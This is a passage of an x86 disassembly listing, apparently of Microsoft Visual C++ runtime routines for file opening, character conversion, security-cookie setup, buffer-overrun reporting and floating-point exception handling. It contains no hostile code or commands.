loc_426AAF: ; CODE XREF: sub_426A43+52j
mov [ebp+var_10], 80000000h
loc_426AB6: ; CODE XREF: sub_426A43+61j
; sub_426A43+6Aj
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_426AFC
cmp eax, 20h
jz short loc_426AF3
cmp eax, 30h
jz short loc_426AEA
cmp eax, 40h
jz short loc_426AE5
loc_426ACD: ; CODE XREF: sub_426A43+58j
mov ds:dword_4E28F4, 16h
mov ds:dword_4E28F8, ebx
or eax, 0FFFFFFFFh
jmp loc_426CC4
; ---------------------------------------------------------------------------
loc_426AE5: ; CODE XREF: sub_426A43+88j
mov [ebp+var_8], esi
jmp short loc_426AFF
; ---------------------------------------------------------------------------
loc_426AEA: ; CODE XREF: sub_426A43+83j
mov [ebp+var_8], 2
jmp short loc_426AFF
; ---------------------------------------------------------------------------
loc_426AF3: ; CODE XREF: sub_426A43+7Ej
mov [ebp+var_8], 1
jmp short loc_426AFF
; ---------------------------------------------------------------------------
loc_426AFC: ; CODE XREF: sub_426A43+79j
mov [ebp+var_8], ebx
loc_426AFF: ; CODE XREF: sub_426A43+A5j
; sub_426A43+AEj ...
mov eax, ecx
mov edx, 700h
and eax, edx
mov ecx, 400h
cmp eax, ecx
push edi
mov edi, 100h
jg short loc_426B46
jz short loc_426B41
cmp eax, ebx
jz short loc_426B41
cmp eax, edi
jz short loc_426B38
cmp eax, 200h
jz short loc_426B70
cmp eax, 300h
jnz short loc_426B58
mov [ebp+var_C], 2
jmp short loc_426B80
; ---------------------------------------------------------------------------
loc_426B38: ; CODE XREF: sub_426A43+DCj
mov [ebp+var_C], 4
jmp short loc_426B80
; ---------------------------------------------------------------------------
loc_426B41: ; CODE XREF: sub_426A43+D4j
; sub_426A43+D8j
mov [ebp+var_C], esi
jmp short loc_426B80
; ---------------------------------------------------------------------------
loc_426B46: ; CODE XREF: sub_426A43+D2j
cmp eax, 500h
jz short loc_426B79
cmp eax, 600h
jz short loc_426B70
cmp eax, edx
jz short loc_426B79
loc_426B58: ; CODE XREF: sub_426A43+EAj
mov ds:dword_4E28F4, 16h
mov ds:dword_4E28F8, ebx
loc_426B68: ; CODE XREF: sub_426A43+2CBj
or eax, 0FFFFFFFFh
jmp loc_426CC3
; ---------------------------------------------------------------------------
loc_426B70: ; CODE XREF: sub_426A43+E3j
; sub_426A43+10Fj
mov [ebp+var_C], 5
jmp short loc_426B80
; ---------------------------------------------------------------------------
loc_426B79: ; CODE XREF: sub_426A43+108j
; sub_426A43+113j
mov [ebp+var_C], 1
loc_426B80: ; CODE XREF: sub_426A43+F3j
; sub_426A43+FCj ...
mov eax, [ebp+arg_4]
test eax, edi
mov esi, 80h
jz short loc_426B9E
mov ecx, ds:dword_4E28FC
not ecx
and ecx, [ebp+arg_C]
test cl, cl
js short loc_426B9E
xor esi, esi
inc esi
loc_426B9E: ; CODE XREF: sub_426A43+147j
; sub_426A43+156j
test al, 40h
jz short loc_426BB9
or byte ptr [ebp+var_10+2], 1
or esi, 4000000h
cmp ds:dword_4E2900, 2
jnz short loc_426BB9
or [ebp+var_8], 4
loc_426BB9: ; CODE XREF: sub_426A43+15Dj
; sub_426A43+170j
test ah, 10h
jz short loc_426BC0
or esi, edi
loc_426BC0: ; CODE XREF: sub_426A43+179j
test al, 20h
jz short loc_426BCC
or esi, 8000000h
jmp short loc_426BD6
; ---------------------------------------------------------------------------
loc_426BCC: ; CODE XREF: sub_426A43+17Fj
test al, 10h
jz short loc_426BD6
or esi, 10000000h
loc_426BD6: ; CODE XREF: sub_426A43+187j
; sub_426A43+18Bj
call sub_4267DE
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_426BFC
and ds:dword_4E28F8, 0
mov ds:dword_4E28F4, 18h
loc_426BF5: ; CODE XREF: sub_426A43+1F7j
mov eax, edi
jmp loc_426CC3
; ---------------------------------------------------------------------------
loc_426BFC: ; CODE XREF: sub_426A43+19Fj
push 0
push esi
push [ebp+var_C]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_8]
push [ebp+var_10]
push [ebp+arg_0]
call ds:dword_42B08C ; CreateFileA
mov esi, eax
cmp esi, edi
jz short loc_426C2D
push esi
call ds:dword_42B184 ; GetFileType
test eax, eax
jnz short loc_426C3C
push esi
call ds:dword_42B004 ; CloseHandle
loc_426C2D: ; CODE XREF: sub_426A43+1D6j
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
call sub_422C0F
pop ecx
jmp short loc_426BF5
; ---------------------------------------------------------------------------
loc_426C3C: ; CODE XREF: sub_426A43+1E1j
cmp eax, 2
jnz short loc_426C47
or [ebp+var_1], 40h
jmp short loc_426C50
; ---------------------------------------------------------------------------
loc_426C47: ; CODE XREF: sub_426A43+1FCj
cmp eax, 3
jnz short loc_426C50
or [ebp+var_1], 8
loc_426C50: ; CODE XREF: sub_426A43+202j
; sub_426A43+207j
push esi
push ebx
call sub_42687B
mov al, [ebp+var_1]
pop ecx
pop ecx
mov ecx, ebx
sar ecx, 5
or al, 1
mov esi, ebx
and esi, 1Fh
lea edi, ds:4E2BA0h[ecx*4]
mov ecx, [edi]
shl esi, 3
mov [ebp+var_1], al
and [ebp+var_1], 48h
mov [ecx+esi+4], al
jnz short loc_426CAC
test al, al
jns short loc_426CAC
test byte ptr [ebp+arg_4], 2
jz short loc_426CAC
push 2
push 0FFFFFFFFh
push ebx
call sub_42569D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_426CC8
cmp ds:dword_4E28F8, 83h
jnz short loc_426D07
loc_426CAC: ; CODE XREF: sub_426A43+23Cj
; sub_426A43+240j ...
cmp [ebp+var_1], 0
jnz short loc_426CC1
test byte ptr [ebp+arg_4], 8
jz short loc_426CC1
mov eax, [edi]
lea eax, [eax+esi+4]
or byte ptr [eax], 20h
loc_426CC1: ; CODE XREF: sub_426A43+26Dj
; sub_426A43+273j
mov eax, ebx
loc_426CC3: ; CODE XREF: sub_426A43+128j
; sub_426A43+1B4j
pop edi
loc_426CC4: ; CODE XREF: sub_426A43+9Dj
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_426CC8: ; CODE XREF: sub_426A43+25Bj
push 1
lea eax, [ebp+var_2]
push eax
push ebx
mov [ebp+var_2], 0
call sub_421D41
add esp, 0Ch
test eax, eax
jnz short loc_426CF5
cmp [ebp+var_2], 1Ah
jnz short loc_426CF5
push [ebp+var_10]
push ebx
call sub_42884D
cmp eax, 0FFFFFFFFh
pop ecx
pop ecx
jz short loc_426D07
loc_426CF5: ; CODE XREF: sub_426A43+29Aj
; sub_426A43+2A0j
push 0
push 0
push ebx
call sub_42569D
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_426CAC
loc_426D07: ; CODE XREF: sub_426A43+267j
; sub_426A43+2B0j
push ebx
call sub_420EE9
pop ecx
jmp loc_426B68
sub_426A43 endp
; =============== S U B R O U T I N E =======================================
sub_426D13 proc near ; CODE XREF: sub_422124+64p
; sub_422C6E+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, ds:dword_4E2B98
jb short loc_426D22
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_426D22: ; CODE XREF: sub_426D13+Aj
mov ecx, eax
sar ecx, 5
mov ecx, ds:dword_4E2BA0[ecx*4]
and eax, 1Fh
movsx eax, byte ptr [ecx+eax*8+4]
and eax, 40h
retn
sub_426D13 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426D3A proc near ; CODE XREF: sub_4222C8+343p
; sub_4222C8+74Ap
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
push esi
xor esi, esi
cmp eax, esi
jnz short loc_426D4B
xor eax, eax
jmp short loc_426D9D
; ---------------------------------------------------------------------------
loc_426D4B: ; CODE XREF: sub_426D3A+Bj
cmp ds:dword_4E29A4, esi
jnz short loc_426D65
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_426D90
mov [eax], cl
xor eax, eax
inc eax
jmp short loc_426D9D
; ---------------------------------------------------------------------------
loc_426D65: ; CODE XREF: sub_426D3A+17j
lea ecx, [ebp+arg_0]
push ecx
push esi
push ds:dword_4437B0
mov [ebp+arg_0], esi
push eax
push 1
lea eax, [ebp+arg_4]
push eax
push esi
push ds:dword_4E29B4
call ds:dword_42B090 ; WideCharToMultiByte
cmp eax, esi
jz short loc_426D90
cmp [ebp+arg_0], esi
jz short loc_426D9D
loc_426D90: ; CODE XREF: sub_426D3A+22j
; sub_426D3A+4Fj
mov ds:dword_4E28F4, 2Ah
or eax, 0FFFFFFFFh
loc_426D9D: ; CODE XREF: sub_426D3A+Fj
; sub_426D3A+29j ...
pop esi
pop ebp
retn
sub_426D3A endp
; =============== S U B R O U T I N E =======================================
sub_426DA0 proc near ; CODE XREF: sub_422AC2+4Fp
; sub_422B91+67p ...
push 1Ch
push offset dword_43A058
call sub_425F14
xor esi, esi
cmp ds:dword_4E2AD8, esi
jnz short loc_426DEB
lea eax, [ebp-1Ch]
push eax
xor edi, edi
inc edi
push edi
push offset dword_439C24
push edi
call ds:dword_42B14C ; GetStringTypeW
test eax, eax
jz short loc_426DD6
mov ds:dword_4E2AD8, edi
jmp short loc_426DEB
; ---------------------------------------------------------------------------
loc_426DD6: ; CODE XREF: sub_426DA0+2Cj
call ds:dword_42B01C ; RtlGetLastWin32Error
cmp eax, 78h
jnz short loc_426DEB
mov ds:dword_4E2AD8, 2
loc_426DEB: ; CODE XREF: sub_426DA0+14j
; sub_426DA0+34j ...
mov eax, ds:dword_4E2AD8
cmp eax, 2
jz loc_426EE3
cmp eax, esi
jz loc_426EE3
cmp eax, 1
jnz loc_426F09
mov [ebp-24h], esi
mov [ebp-20h], esi
cmp [ebp+18h], esi
jnz short loc_426E1D
mov eax, ds:dword_4E29B4
mov [ebp+18h], eax
loc_426E1D: ; CODE XREF: sub_426DA0+73j
push esi
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
xor eax, eax
cmp [ebp+20h], esi
setnz al
lea eax, ds:1[eax*8]
push eax
push dword ptr [ebp+18h]
call ds:dword_42B07C ; MultiByteToWideChar
mov edi, eax
mov [ebp-28h], edi
test edi, edi
jz loc_426F09
and dword ptr [ebp-4], 0
lea ebx, [edi+edi]
mov eax, ebx
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov esi, esp
mov [ebp-2Ch], esi
push ebx
push 0
push esi
call sub_41E5F0
add esp, 0Ch
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_426E8E
; ---------------------------------------------------------------------------
db 33h, 0C0h, 40h
dd 0E8658BC3h, 0FFEBEDE8h, 83F633FFh, 8BFFFC4Dh
db 7Dh, 0D8h
; ---------------------------------------------------------------------------
loc_426E8E: ; CODE XREF: sub_426DA0+D7j
test esi, esi
jnz short loc_426EA9
push edi
push 2
call sub_4205E4
pop ecx
pop ecx
mov esi, eax
test esi, esi
jz short loc_426F09
mov dword ptr [ebp-20h], 1
loc_426EA9: ; CODE XREF: sub_426DA0+F0j
push edi
push esi
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push 1
push dword ptr [ebp+18h]
call ds:dword_42B07C ; MultiByteToWideChar
test eax, eax
jz short loc_426ED1
push dword ptr [ebp+14h]
push eax
push esi
push dword ptr [ebp+8]
call ds:dword_42B14C ; GetStringTypeW
mov [ebp-24h], eax
loc_426ED1: ; CODE XREF: sub_426DA0+11Ej
cmp dword ptr [ebp-20h], 0
jz short loc_426EDE
push esi
call sub_41E2A1
pop ecx
loc_426EDE: ; CODE XREF: sub_426DA0+135j
mov eax, [ebp-24h]
jmp short loc_426F51
; ---------------------------------------------------------------------------
loc_426EE3: ; CODE XREF: sub_426DA0+53j
; sub_426DA0+5Bj
mov ebx, [ebp+1Ch]
cmp ebx, esi
jnz short loc_426EF0
mov ebx, ds:dword_4E29A4
loc_426EF0: ; CODE XREF: sub_426DA0+148j
mov edi, [ebp+18h]
test edi, edi
jnz short loc_426EFD
mov edi, ds:dword_4E29B4
loc_426EFD: ; CODE XREF: sub_426DA0+155j
push ebx
call sub_4282DB
pop ecx
cmp eax, 0FFFFFFFFh
jnz short loc_426F0D
loc_426F09: ; CODE XREF: sub_426DA0+64j
; sub_426DA0+A5j ...
xor eax, eax
jmp short loc_426F51
; ---------------------------------------------------------------------------
loc_426F0D: ; CODE XREF: sub_426DA0+167j
cmp eax, edi
jz short loc_426F2F
push 0
push 0
lea ecx, [ebp+10h]
push ecx
push dword ptr [ebp+0Ch]
push eax
push edi
call sub_42831E
add esp, 18h
mov esi, eax
test esi, esi
jz short loc_426F09
mov [ebp+0Ch], esi
loc_426F2F: ; CODE XREF: sub_426DA0+16Fj
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push ebx
call ds:dword_42B150 ; GetStringTypeA
mov edi, eax
test esi, esi
jz short loc_426F4F
push esi
call sub_41E2A1
pop ecx
loc_426F4F: ; CODE XREF: sub_426DA0+1A6j
mov eax, edi
loc_426F51: ; CODE XREF: sub_426DA0+141j
; sub_426DA0+16Bj
lea esp, [ebp-38h]
call sub_425F4F
retn
sub_426DA0 endp
; ---------------------------------------------------------------------------
loc_426F5A: ; DATA XREF: seg002:0043C004o
push ebp
mov ebp, esp
sub esp, 10h
mov eax, ds:dword_4437D4
test eax, eax
jz short loc_426F70
cmp eax, 0BB40E64Eh
jnz short locret_426FBE
loc_426F70: ; CODE XREF: seg000:00426F67j
push esi
lea eax, [ebp-8]
push eax
call ds:dword_42B198 ; GetSystemTimeAsFileTime
mov esi, [ebp-4]
xor esi, [ebp-8]
call ds:dword_42B044 ; GetCurrentProcessId
xor esi, eax
call ds:dword_42B148 ; GetCurrentThreadId
xor esi, eax
call ds:dword_42B038 ; GetTickCount
xor esi, eax
lea eax, [ebp-10h]
push eax
call ds:dword_42B0D8 ; QueryPerformanceCounter
mov eax, [ebp-0Ch]
xor eax, [ebp-10h]
xor esi, eax
mov ds:dword_4437D4, esi
jnz short loc_426FBD
mov ds:dword_4437D4, 0BB40E64Eh
loc_426FBD: ; CODE XREF: seg000:00426FB1j
pop esi
locret_426FBE: ; CODE XREF: seg000:00426F6Ej
leave
retn
; =============== S U B R O U T I N E =======================================
sub_426FC0 proc near ; CODE XREF: sub_422B83-1Dp
push 118h
push offset dword_43A208
call sub_425F14
mov eax, ds:dword_4437D4
mov [ebp-1Ch], eax
mov eax, ds:dword_4E2ADC
xor ecx, ecx
cmp eax, ecx
jz short loc_427001
mov [ebp-4], ecx
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call eax
pop ecx
pop ecx
or dword ptr [ebp-4], 0FFFFFFFFh
jmp loc_427100
; ---------------------------------------------------------------------------
dd 0C340C033h, 0EBE8658Bh
db 0EEh
; ---------------------------------------------------------------------------
loc_427001: ; CODE XREF: sub_426FC0+20j
mov eax, [ebp+8]
dec eax
jz short loc_42701D
mov edi, offset aUnknownSecurit ; "Unknown security failure detected!"
mov dword ptr [ebp-128h], offset aASecurityError ; "A security error of unknown cause has b"...
mov esi, 0D4h
jmp short loc_427031
; ---------------------------------------------------------------------------
loc_42701D: ; CODE XREF: sub_426FC0+45j
mov edi, offset aBufferOverrunD ; "Buffer overrun detected!"
mov dword ptr [ebp-128h], offset aABufferOverrun ; "A buffer overrun has been detected whic"...
mov esi, 0B9h
loc_427031: ; CODE XREF: sub_426FC0+5Bj
mov [ebp-20h], cl
push 104h
lea eax, [ebp-124h]
push eax
push ecx
call ds:dword_42B00C ; GetModuleFileNameA
test eax, eax
jnz short loc_42705E
push offset aProgramNameUnk ; "<program name unknown>"
lea eax, [ebp-124h]
push eax
call sub_41EEC0
pop ecx
pop ecx
loc_42705E: ; CODE XREF: sub_426FC0+89j
lea ebx, [ebp-124h]
mov eax, ebx
push eax
call sub_41E1C0
pop ecx
add eax, 0Bh
cmp eax, 3Ch
jbe short loc_42709A
mov eax, ebx
push eax
call sub_41E1C0
mov ebx, eax
lea eax, [ebp-124h]
sub eax, 31h
add ebx, eax
push 3
push offset a___ ; "..."
push ebx
call sub_41E860
add esp, 10h
loc_42709A: ; CODE XREF: sub_426FC0+B3j
push ebx
call sub_41E1C0
pop ecx
lea eax, [eax+esi+0Ch]
add eax, 3
and eax, 0FFFFFFFCh
call sub_41EA20
mov [ebp-18h], esp
mov esi, esp
push edi
push esi
call sub_41EEC0
mov edi, offset asc_43A018 ; "\n\n"
push edi
push esi
call sub_41EED0
push offset aProgram ; "Program: "
push esi
call sub_41EED0
push ebx
push esi
call sub_41EED0
push edi
push esi
call sub_41EED0
push dword ptr [ebp-128h]
push esi
call sub_41EED0
push 12010h
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push esi
call sub_428710
add esp, 3Ch
loc_427100: ; CODE XREF: sub_426FC0+33j
push 3
call sub_41F282
int 3 ; Trap to Debugger
sub_426FC0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_427108 proc near ; CODE XREF: sub_42319B+7p
arg_0 = dword ptr 4
cmp ds:dword_4E2F00, 3
push esi
jnz short loc_42712C
mov esi, [esp+4+arg_0]
push esi
call sub_421188
test eax, eax
pop ecx
jz short loc_427129
mov eax, [esi-4]
sub eax, 9
pop esi
retn
; ---------------------------------------------------------------------------
loc_427129: ; CODE XREF: sub_427108+17j
push esi
jmp short loc_427130
; ---------------------------------------------------------------------------
loc_42712C: ; CODE XREF: sub_427108+8j
push [esp+4+arg_0]
loc_427130: ; CODE XREF: sub_427108+22j
push 0
push ds:dword_4E2EFC
call ds:dword_42B144 ; RtlSizeHeap
pop esi
retn
sub_427108 endp
; =============== S U B R O U T I N E =======================================
sub_427140 proc near ; CODE XREF: sub_423327+A5p
; sub_423327+575p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 0FFFFFFFFh
push esi
jz short loc_42718C
mov esi, [esp+8+arg_4]
mov eax, [esi+0Ch]
test al, 1
jnz short loc_42715E
test al, al
jns short loc_42718C
test al, 2
jnz short loc_42718C
loc_42715E: ; CODE XREF: sub_427140+14j
cmp dword ptr [esi+8], 0
jnz short loc_42716B
push esi
call sub_4269FF
pop ecx
loc_42716B: ; CODE XREF: sub_427140+22j
mov eax, [esi]
cmp eax, [esi+8]
jnz short loc_42717B
cmp dword ptr [esi+4], 0
jnz short loc_42718C
inc eax
mov [esi], eax
loc_42717B: ; CODE XREF: sub_427140+30j
dec dword ptr [esi]
test byte ptr [esi+0Ch], 40h
mov eax, [esi]
jz short loc_427192
cmp [eax], bl
jz short loc_427194
inc eax
mov [esi], eax
loc_42718C: ; CODE XREF: sub_427140+9j
; sub_427140+18j ...
or eax, 0FFFFFFFFh
loc_42718F: ; CODE XREF: sub_427140+6Aj
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
loc_427192: ; CODE XREF: sub_427140+43j
mov [eax], bl
loc_427194: ; CODE XREF: sub_427140+47j
mov eax, [esi+0Ch]
inc dword ptr [esi+4]
and eax, 0FFFFFFEFh
or eax, 1
mov [esi+0Ch], eax
mov eax, ebx
and eax, 0FFh
jmp short loc_42718F
sub_427140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4271AC proc near ; CODE XREF: sub_423327+8A3p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
xor ebx, ebx
cmp esi, ebx
jz short loc_4271CF
cmp [ebp+arg_8], ebx
jz short loc_4271CF
mov al, [esi]
cmp al, bl
jnz short loc_4271D5
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4271CF
mov [eax], bx
loc_4271CF: ; CODE XREF: sub_4271AC+Cj
; sub_4271AC+11j ...
xor eax, eax
loc_4271D1: ; CODE XREF: sub_4271AC+42j
; sub_4271AC+86j ...
pop esi
pop ebx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4271D5: ; CODE XREF: sub_4271AC+17j
cmp ds:dword_4E29A4, ebx
jnz short loc_4271F0
mov ecx, [ebp+arg_0]
cmp ecx, ebx
jz short loc_4271EB
movzx ax, al
mov [ecx], ax
loc_4271EB: ; CODE XREF: sub_4271AC+36j
; sub_4271AC+C0j
xor eax, eax
inc eax
jmp short loc_4271D1
; ---------------------------------------------------------------------------
loc_4271F0: ; CODE XREF: sub_4271AC+2Fj
mov ecx, ds:off_4437D8
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_42724D
mov eax, ds:dword_4437B0
cmp eax, 1
jle short loc_427234
cmp [ebp+arg_8], eax
jl short loc_427237
xor ecx, ecx
cmp [ebp+arg_0], ebx
setnz cl
push ecx
push [ebp+arg_0]
push eax
push esi
push 9
push ds:dword_4E29B4
call ds:dword_42B07C ; MultiByteToWideChar
test eax, eax
mov eax, ds:dword_4437B0
jnz short loc_4271D1
loc_427234: ; CODE XREF: sub_4271AC+5Cj
cmp [ebp+arg_8], eax
loc_427237: ; CODE XREF: sub_4271AC+61j
jb short loc_42723E
cmp [esi+1], bl
jnz short loc_4271D1
loc_42723E: ; CODE XREF: sub_4271AC:loc_427237j
; sub_4271AC+C6j
mov ds:dword_4E28F4, 2Ah
or eax, 0FFFFFFFFh
jmp short loc_4271D1
; ---------------------------------------------------------------------------
loc_42724D: ; CODE XREF: sub_4271AC+52j
xor eax, eax
cmp [ebp+arg_0], ebx
setnz al
push eax
push [ebp+arg_0]
push 1
push esi
push 9
push ds:dword_4E29B4
call ds:dword_42B07C ; MultiByteToWideChar
test eax, eax
jnz loc_4271EB
jmp short loc_42723E
sub_4271AC endp
; =============== S U B R O U T I N E =======================================
sub_427274 proc near ; CODE XREF: sub_424391+11Ap
; sub_424391+1D5p ...
xor eax, eax
retn
sub_427274 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_427277 proc near ; CODE XREF: sub_427885+4Ap
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
push ebx
xor ebx, ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
push esi
inc ebx
test cl, 10h
push edi
jz short loc_4272A9
mov eax, [ebp+arg_0]
or [eax+4], ebx
mov [ebp+arg_8], 0C000008Fh
loc_4272A9: ; CODE XREF: sub_427277+23j
test cl, 2
jz short loc_4272BC
mov eax, [ebp+arg_0]
or dword ptr [eax+4], 2
mov [ebp+arg_8], 0C0000093h
loc_4272BC: ; CODE XREF: sub_427277+35j
test cl, bl
jz short loc_4272CE
mov eax, [ebp+arg_0]
or dword ptr [eax+4], 4
mov [ebp+arg_8], 0C0000091h
loc_4272CE: ; CODE XREF: sub_427277+47j
test cl, 4
jz short loc_4272E1
mov eax, [ebp+arg_0]
or dword ptr [eax+4], 8
mov [ebp+arg_8], 0C000008Eh
loc_4272E1: ; CODE XREF: sub_427277+5Aj
test cl, 8
jz short loc_4272F4
mov eax, [ebp+arg_0]
or dword ptr [eax+4], 10h
mov [ebp+arg_8], 0C0000090h
loc_4272F4: ; CODE XREF: sub_427277+6Dj
mov esi, [ebp+arg_4]
mov ecx, [esi]
mov eax, [ebp+arg_0]
shl ecx, 4
not ecx
xor ecx, [eax+8]
push 2
and ecx, 10h
xor [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
shl ecx, 1
not ecx
xor ecx, [eax+8]
pop edi
and ecx, 8
xor [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
shr ecx, 1
not ecx
xor ecx, [eax+8]
and ecx, 4
xor [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
shr ecx, 3
not ecx
xor ecx, [eax+8]
and ecx, edi
xor [eax+8], ecx
mov ecx, [esi]
mov eax, [ebp+arg_0]
shr ecx, 5
not ecx
xor ecx, [eax+8]
and ecx, ebx
xor [eax+8], ecx
call sub_427A8F
test al, bl
jz short loc_427365
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 10h
loc_427365: ; CODE XREF: sub_427277+E5j
test al, 4
jz short loc_427370
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 8
loc_427370: ; CODE XREF: sub_427277+F0j
test al, 8
jz short loc_42737B
mov ecx, [ebp+arg_0]
or dword ptr [ecx+0Ch], 4
loc_42737B: ; CODE XREF: sub_427277+FBj
test al, 10h
jz short loc_427385
mov ecx, [ebp+arg_0]
or [ecx+0Ch], edi
loc_427385: ; CODE XREF: sub_427277+106j
test al, 20h
jz short loc_42738F
mov eax, [ebp+arg_0]
or [eax+0Ch], ebx
loc_42738F: ; CODE XREF: sub_427277+110j
mov eax, [esi]
mov ecx, 0C00h
and eax, ecx
jz short loc_4273CE
cmp eax, 400h
jz short loc_4273C0
cmp eax, 800h
jz short loc_4273B4
cmp eax, ecx
jnz short loc_4273D4
mov eax, [ebp+arg_0]
or dword ptr [eax], 3
jmp short loc_4273D4
; ---------------------------------------------------------------------------
loc_4273B4: ; CODE XREF: sub_427277+12Fj
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
or ecx, edi
jmp short loc_4273CA
; ---------------------------------------------------------------------------
loc_4273C0: ; CODE XREF: sub_427277+128j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFFDh
or ecx, ebx
loc_4273CA: ; CODE XREF: sub_427277+147j
mov [eax], ecx
jmp short loc_4273D4
; ---------------------------------------------------------------------------
loc_4273CE: ; CODE XREF: sub_427277+121j
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFFCh
loc_4273D4: ; CODE XREF: sub_427277+133j
; sub_427277+13Bj ...
mov eax, [esi]
mov ecx, 300h
and eax, ecx
jz short loc_4273FF
cmp eax, 200h
jz short loc_4273F2
cmp eax, ecx
jnz short loc_42740C
mov eax, [ebp+arg_0]
and dword ptr [eax], 0FFFFFFE3h
jmp short loc_42740C
; ---------------------------------------------------------------------------
loc_4273F2: ; CODE XREF: sub_427277+16Dj
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE7h
or ecx, 4
jmp short loc_42740A
; ---------------------------------------------------------------------------
loc_4273FF: ; CODE XREF: sub_427277+166j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFEBh
or ecx, 8
loc_42740A: ; CODE XREF: sub_427277+186j
mov [eax], ecx
loc_42740C: ; CODE XREF: sub_427277+171j
; sub_427277+179j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_C]
shl ecx, 5
xor ecx, [eax]
and ecx, 1FFE0h
xor [eax], ecx
mov eax, [ebp+arg_0]
or [eax+20h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov [eax+20h], ecx
mov eax, [ebp+arg_10]
fld qword ptr [eax]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+10h]
mov eax, [ebp+arg_0]
or [eax+60h], ebx
mov eax, [ebp+arg_0]
mov ecx, [eax+60h]
and ecx, 0FFFFFFE3h
or ecx, edi
mov edi, [ebp+arg_14]
mov [eax+60h], ecx
fld qword ptr [edi]
mov eax, [ebp+arg_0]
fstp qword ptr [eax+50h]
call sub_427A9A
lea eax, [ebp+arg_0]
push eax
push ebx
push 0
push [ebp+arg_8]
call ds:dword_42B1A0 ; RaiseException
mov eax, [ebp+arg_0]
test byte ptr [eax+8], 10h
jz short loc_42747E
and dword ptr [esi], 0FFFFFFFEh
loc_42747E: ; CODE XREF: sub_427277+202j
test byte ptr [eax+8], 8
jz short loc_427487
and dword ptr [esi], 0FFFFFFFBh
loc_427487: ; CODE XREF: sub_427277+20Bj
test byte ptr [eax+8], 4
jz short loc_427490
and dword ptr [esi], 0FFFFFFF7h
loc_427490: ; CODE XREF: sub_427277+214j
test byte ptr [eax+8], 2
jz short loc_427499
and dword ptr [esi], 0FFFFFFEFh
loc_427499: ; CODE XREF: sub_427277+21Dj
test [eax+8], bl
jz short loc_4274A1
and dword ptr [esi], 0FFFFFFDFh
loc_4274A1: ; CODE XREF: sub_427277+225j
mov ecx, [eax]
and ecx, 3
sub ecx, 0
mov edx, 0FFFFF3FFh
jz short loc_4274E1
dec ecx
jz short loc_4274CF
dec ecx
jz short loc_4274BF
dec ecx
jnz short loc_4274E3
or byte ptr [esi+1], 0Ch
jmp short loc_4274E3
; ---------------------------------------------------------------------------
loc_4274BF: ; CODE XREF: sub_427277+23Dj
mov ecx, [esi]
and ecx, 0FFFFFBFFh
or ecx, 800h
jmp short loc_4274DD
; ---------------------------------------------------------------------------
loc_4274CF: ; CODE XREF: sub_427277+23Aj
mov ecx, [esi]
and ecx, 0FFFFF7FFh
or ecx, 400h
loc_4274DD: ; CODE XREF: sub_427277+256j
mov [esi], ecx
jmp short loc_4274E3
; ---------------------------------------------------------------------------
loc_4274E1: ; CODE XREF: sub_427277+237j
and [esi], edx
loc_4274E3: ; CODE XREF: sub_427277+240j
; sub_427277+246j ...
mov ecx, [eax]
shr ecx, 2
and ecx, 7
sub ecx, 0
jz short loc_427506
dec ecx
jz short loc_4274FA
dec ecx
jnz short loc_427512
and [esi], edx
jmp short loc_427512
; ---------------------------------------------------------------------------
